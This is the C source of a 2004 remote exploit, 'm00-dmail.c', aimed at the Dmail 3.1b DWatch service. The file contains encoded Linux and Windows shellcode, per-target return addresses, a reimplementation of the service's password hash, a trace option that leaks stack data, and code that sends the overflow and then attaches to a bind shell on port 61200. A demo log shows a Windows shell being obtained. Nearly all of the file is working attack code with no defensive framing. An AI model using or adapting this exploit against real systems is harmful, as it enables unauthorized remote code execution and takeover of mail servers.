m00-dmail.c

/* -- PRIVATE -- DO NOT DISTRIBUTE -- PRIVATE --
 * 
 * Dmail exploit v0.8.1 by drG4njubas of m00
 * Vuln discovered by drG4njubas on 23.05.2004
 * 
 * ------------------------------------- DEMO --
 * 
 * [root@owned root]# ./m00-dmail -T -p test -h 192.168.59.1
 * 
 * **Dmail exploit by drG4njubas.
 * **Private release. Do not distribute you moron.
 * **********
 *  
 * [+] Host resolved
 * [+] Connected
 * [~] Starting trace...
 *   
 * STACK TRACE BEGINS
 *  
 * --# FV Param#00 Param#01 Param#02 Param#03 Symbol
 *   1 .V 00000004 0011ccfc 0011bcf4 00119cf0 _cmd_tellmail 
 *   2 .V 00000004 00117cf0 0011ccfc 0011bcf4 _cmd_function 
 *   3 .V 00000004 00e9c4e0 00000001 000010a5 _cmd_do   
 *   4 .V 00000004 00e9c4e0 00000000 00000001 _cmd_event 
 *   5 .V 00000004 00000001 000084d0 00000019 _tcp_do_block
 *   6 .V 00000004 00000000 40de238a 0000012c _tcp_doread
 *   7 .V 77f98191 77f899a0 7ffdf000 00000000 _tcp_wait
 *   8 .V 00000001 002f3748 002f2968 00503000 _main   
 *   
 * STACK TRACE ENDS
 *   
 * [root@owned root]# ./m00-dmail -t 1 -p test -h 192.168.59.1
 *  
 * **Dmail exploit by drG4njubas.
 * **Private release. Do not distribute you moron.
 * **********
 *  
 * [+] Host resolved
 * [+] Connected
 * [+] Password ok
 * [~] Sending exploit
 * [+] Congratulations! You got shell.
 *  
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\dmail\dwatch>
 * 
 */


#include<stdio.h>
#include<getopt.h>
#include<sys/socket.h>
#include<resolv.h>
#include<netdb.h>

#define DWATCH_PORT 7110
#define BUFF_SIZE 2048
#define CMD "uname -a;id;\n\n"


int _hash (char *str, int token);
int do_trace (int sock, char *pass);
int get_shell (int sock);
int usage (char *name);


char linux_shellcode[]=
"\xEB\x0F\x58\x80\x30\xF1\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\x18\x72\xF1\xF1\xF1\xAF\xC0\x31"
"\xB1\x78\xB7\xFD\x78\x32\xB1\x78\xB7\xF9\xF5\xF5\x78\xB7\xE1"
"\x7C\xBF\xF9\x41\x97\x3C\x71\x78\x33\xC0\x31\x37\xB7\xF9\xF3"
"\x97\x36\xB7\xFB\x1E\xE1\x78\xB7\xFD\x78\xA7\xE0\x7C\xBF\xF9"
"\x78\xBF\xE4\xB2\x78\x28\x71\x30\xFF\x78\xBF\xE8\x7C\xBF\xE0"
"\x41\x97\x3C\x71\x41\x97\xB2\xB2\x3C\x71\xC0\x31\xB2\x78\xB7"
"\xE4\x78\xB7\xE8\x41\x97\x3C\x71\x78\x32\xC0\x31\x78\xB7\xFD"
"\x78\x30\x41\xCE\x3C\x71\xB0\x41\xCE\x3C\x71\xB0\x41\xCE\x3C"
"\x71\xC0\x31\x7C\xEF\x78\xAF\xFA\x78\xB7\xFE\x41\xFA\x78\x02"
"\x7C\xBF\xFA\x7C\xA7\xFE\x3C\x71\x19\x89\x0E\x0E\x0E\xDE\x93"
"\x98\x9F\xDE\x82\x99\xF1"
"m00!";


char windoze_shellcode[]=
"\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xEF\xBA\xBB\xBB\xE6\xEE\x8A"
"\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB\xCE\x42\x30\xE8\xB8"
"\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81\xF6\xE1\xCF\xBC\x92"
"\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1\x87\xBA\x6C\xB8\xE4"
"\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F\xBA\x6D\xBA\x6C\x47"
"\x16\xBA\x6B\x2D\x3C\x46\xEA\x8A\x72\x3B\x7A\xB4\x48\x1D\xC9"
"\xB1\x2D\xE2\x3C\x46\xCF\xA9\xFC\xFC\x59\x5D\x05\xB4\xBB\xBB"
"\xBB\x92\x75\x92\x4C\x52\x53\x44\x44\x44\x8A\x7B\xDD\x30\xBC"
"\x7A\x5B\xB9\x30\xC8\xA7\xBA\x6D\xBA\x7D\x16\xBA\x6B\x32\x7D"
"\x32\x6C\xE6\xEC\x36\x26\xB4\xBB\xBB\xBB\xE8\xEC\x44\x6D\x36"
"\x26\xE8\xBB\xBB\xBB\xE8\x44\x6B\x32\x7C\x36\x26\xE1\xBB\xBB"
"\xBB\xE8\xEB\x44\x6D\x8A\x72\xEA\xEA\xEA\xEA\xD3\xBA\xBB\xBB"
"\xBB\xD3\xB9\xBB\xBB\xBB\x44\x6B\x32\x78\x36\x3E\xDE\xBB\xBB"
"\xBB\xEB\xEC\x44\x6D\xD3\xAB\xBB\xBB\xBB\x36\x36\xC3\xBB\xBB"
"\xBB\xEA\xE8\x44\x6B\x36\x3E\xD1\xBB\xBB\xBB\xEB\xEC\x44\x6D"
"\xD3\xBA\xBB\xBB\xBB\xE8\x44\x6B\x36\x3E\xCA\xBB\xBB\xBB\xEB"
"\xEC\x44\x6D\x8A\x72\xEA\xEA\xE8\x44\x6B\xE4\xEB\x36\x26\xFC"
"\xBB\xBB\xBB\xE8\xEC\x44\x6D\xD3\x44\xBB\xBB\xBB\xD3\xFB\xBB"
"\xBB\xBB\x44\x6B\x32\x78\x36\x36\x93\xBB\xBB\xBB\xEA\xEC\x44"
"\x6D\xE8\x44\x6B\xE3\x32\xF8\xFB\x32\xF8\x87\x32\xF8\x83\x7C"
"\xF8\x97\xBA\xBA\xBB\xBB\x36\x3E\x83\xBB\xBB\xBB\xEB\xEC\x44"
"\x6D\xE8\xE8\x8A\x72\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB\xEA\xEA"
"\x36\x26\x37\xBB\xBB\xBB\xE8\xEA\x44\x6B\x36\x3E\xA7\xBB\xBB"
"\xBB\xEB\xEC\x44\x6D\x44\x6B\x53\x1C\x45\x44\x44\xFC\xDE\xCF"
"\xEB\xC9\xD4\xD8\xFA\xDF\xDF\xC9\xDE\xC8\xC8\xBB\xF7\xD4\xDA"
"\xDF\xF7\xD2\xD9\xC9\xDA\xC9\xC2\xFA\xBB\xFE\xC3\xD2\xCF\xEB"
"\xC9\xD4\xD8\xDE\xC8\xC8\xBB\xFC\xDE\xCF\xE8\xCF\xDA\xC9\xCF"
"\xCE\xCB\xF2\xD5\xDD\xD4\xFA\xBB\xF8\xC9\xDE\xDA\xCF\xDE\xEB"
"\xC9\xD4\xD8\xDE\xC8\xC8\xFA\xBB\xFC\xD7\xD4\xD9\xDA\xD7\xFA"
"\xD7\xD7\xD4\xD8\xBB\xCC\xC8\x89\xE4\x88\x89\xBB\xEC\xE8\xFA"
"\xE8\xD4\xD8\xD0\xDE\xCF\xFA\xBB\xD9\xD2\xD5\xDF\xBB\xD7\xD2"
"\xC8\xCF\xDE\xD5\xBB\xDA\xD8\xD8\xDE\xCB\xCF\xBB\xB9\xBB\x54"
"\xAB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBA\xBB"
"\xBB\xBB\xD8\xD6\xDF\xBB"
"m00!";


struct {
	char *name;
	int nops1;
	int ret;
	int shit; 
	int addr; 
	int nops2;
	char *shcode;
	char *cmd;
} targets[] = {
	{ "Dmail 3.1b, Linux x86", 264, 0xbfffe296, 0x5bfca5b8, 
		0xbfffcf10, 512, linux_shellcode, CMD },
	{ "Dmail 3.1b, Win2000 SP4", 264, 0x74fdee63, 0xffff7feb, 
		0x74fdee63, 140, windoze_shellcode, 0},
	{ 0, 0, 0, 0, 0, 0, 0, 0 }
};




int main (int argc, char *argv[])
{
	int sock, shell;
	struct hostent *he;
	struct sockaddr_in addr;
	char buf[BUFF_SIZE], evil[BUFF_SIZE];
	int i = 0, hash, opt;
	int targ = 0;
	int trace = 0;
	int trace_port = 25;
	int sh = 1;
	char *host = 0;
	char *pass = 0;

	printf("\n**Dmail exploit by drG4njubas.\n");
	printf("**Private release. Do not distribute you moron.\n");
	printf("**********\n\n");
	
	while ((opt = getopt(argc, argv, "h:p:t:P:Tr")) != -1)
	{
		switch(opt)
		{
		case 'h':
			host = optarg;
			break;
		case 'p':
			pass = optarg;
			break;
		case 't':
			targ = atoi(optarg);
			break;
		case 'T':
			trace = 1;
			break;
		case 'P':
			if (atoi(optarg) > 0 && atoi(optarg) <= 65535) 
				trace_port = atoi(optarg);
			break;
		case 'r':
			sh = 0;
			
		}
	}

	if (!host || !pass) 
	{
		usage(argv[0]);
		return 1;
	}
	
	while (targets[i].name) i++;
	if (targ > i) 
	{
		fprintf(stderr, "Wrong target\n");
		return 1;
	}
	

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		printf("[-] Can't create socket\n");
		return 1;
	}

	if (!(he = gethostbyname(host)))
	{
		printf("[-] Can't resolve %s\n", host);
		return 1;
	}
	else printf("[+] Host resolved\n");
	
	bzero(&addr, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(trace ? trace_port : DWATCH_PORT);
	memcpy(&addr.sin_addr.s_addr,he->h_addr_list[0], he->h_length);
	
	if (connect(sock,(struct sockaddr *)&addr,sizeof(addr)))
	{
		printf("[-] Can't connect\n");
		close(sock);
		return 1;
	}
	else printf("[+] Connected\n");
	
	if ((i = recv(sock, buf, BUFF_SIZE-1, 0)) == -1)
	{
		printf("[-] Socket error\n");
		close(sock);
		return 1;
	}
	buf[i] = 0;

	if (trace)
	{
		printf("[~] Starting trace...\n\n");
		i = do_trace(sock, pass);
		close(sock);
		return i;
	}

	if (strncmp(buf, "hash ", 4) != 0)
	{
		printf("[-] Bad response: %s\n", buf); 
		close(sock);
		return 1;
	}
	
	hash = _hash(pass, atoi(buf+4));
	sprintf(buf, "password %d\r\n", hash);
	send(sock, buf, strlen(buf), 0);

	if (recv(sock, buf, BUFF_SIZE-1, 0) == -1) 
	{
		printf("[-] Socket error\n");
		close(sock);
		return 1;
	}
	buf[i] = 0;
	
	if (strncmp(buf, "ok", 2) != 0)
	{
		printf("[-] %s\n", buf);
		close(sock);
		return 1;
	}
	else printf("[+] Password ok\n");
	
	printf("[~] Sending exploit\n");
	
	memset(evil, 0x90, BUFF_SIZE);
	memcpy(evil+targets[targ].nops1, &targets[targ].ret, 4);
	memcpy(evil+targets[targ].nops1+4, &targets[targ].shit, 4);
	memcpy(evil+targets[targ].nops1+8, &targets[targ].addr, 4);
	strcpy(evil+targets[targ].nops1+12+targets[targ].nops2,
			targets[targ].shcode);
	sprintf(buf, "stop %s\r\n", evil);
	send(sock, buf, strlen(buf), 0);
	sleep(3);
	close(sock);
	
	if (sh) 
	{
		if ((shell = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		{
			printf("[-] Can't create socket\n");
			return 1;
		}

		addr.sin_port = htons(61200);

		if (connect(shell, (struct sockaddr *)&addr, sizeof(addr)))
		{
			printf("[-] Exploitation failed\n\n");
			close(shell);
			return 1;
		}

		printf("[+] Congratulations! You got shell.\n\n");

		if (targets[targ].cmd)
			send(shell, targets[targ].cmd, 
				strlen(targets[targ].cmd), 0);

		get_shell(shell);
		close(shell);
	}
	
	else
		printf("[~] Done, try to connect to %s:61200\n\n",
				host);
			
	return 0;
}


int _hash (char *str, int token)
{
	int hash;
	char *s;
	
	hash = token;
	s = str;
	while (*s)
	{
		hash = hash & 0xFFFFFF;
		hash = hash + (int)(*s) + (int)(*s)*(token & 0xFF);
		hash = hash << 4;
		s++;
	}
	s = str;
	while (*s)
	{
		hash = hash + (int)(*s);
		s++;
	}
	hash = hash + token;
	hash = hash & 0xFFFFFF;
	return hash;
}


int do_trace (int sock, char *pass)
{
	char buf[BUFF_SIZE];
	int i,j;
	
	strcpy(buf, "xtrauth\n");
	send(sock, buf, strlen(buf), 0);
	i = recv(sock, buf, BUFF_SIZE-1, 0);
	buf[i] = 0;

	if (strncmp(buf, "token ", 6) != 0)
	{
		printf("[-] Incorrect response: %s\n", buf);
		return 1;
	}
	i = _hash(pass, atoi(buf+6));

	sprintf(buf, "xtellmail %d trace\r\n", i);
	send(sock, buf, strlen(buf), 0);
	
	if ((i = recv(sock, buf, BUFF_SIZE-1, 0)) == -1)
	{
		printf("[-] Socket error\n");
		return 1;
	}
	
	if (strncmp(buf, "-ERR", 4) == 0 && i != -1)
	{
		buf[i] = 0;
		printf("[-] %s\n", buf+5);
		return 1;
	}
	
	while ((i != -1) && (i != 0))
	{
		buf[i] = 0;
		printf("%s", buf);
		
		if (strstr(buf, "\r\n\r\n") 
			|| strstr(buf, "STACK TRACE ENDS"))
			break;
		i = recv(sock, buf, BUFF_SIZE-1, 0);
	}
	
	return 0;
}


int get_shell (int sock)
{	
	fd_set rfds;
	int s,r;
	char buf[8096];
	do 
	{
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(sock, &rfds);
		s = select(sock+1, &rfds, NULL, NULL, NULL);
		
		if (s) 
		{
			
			if (FD_ISSET(sock, &rfds)) 
			{
				buf[(r=recv(sock, buf, 
						8095,0))] = '\0';
				printf("%s", buf);
			}
			
			if (FD_ISSET(0, &rfds)) 
			{
				buf[(r=read(0, buf, 8095))]='\0';
				send(sock, buf, strlen(buf), 0);
			}
			
		}
		
	} while(s && r);
	return 0;
}


int usage (char *name)
{
	int i;

	printf("USAGE:\n");
	printf("%s [options] <-p pass> <-h host>\n\n", name);

	printf("Options:\n");
	printf("-t num\n");
	printf("    Target number (default is 0).\n");
	printf("-r\n");
	printf("    Do not connect to a shell\n");
	printf("-T\n");
	printf("    Use undocumented trace feature of dsmtp.\n");
	printf("-P num\n");
	printf("    Port number for trace (default is 25).\n");
	
	printf("\nTargets:\n");
	for (i = 0; targets[i].name; i++)
		printf("%d. %s\n", i, targets[i].name);
	printf("\n");
	
}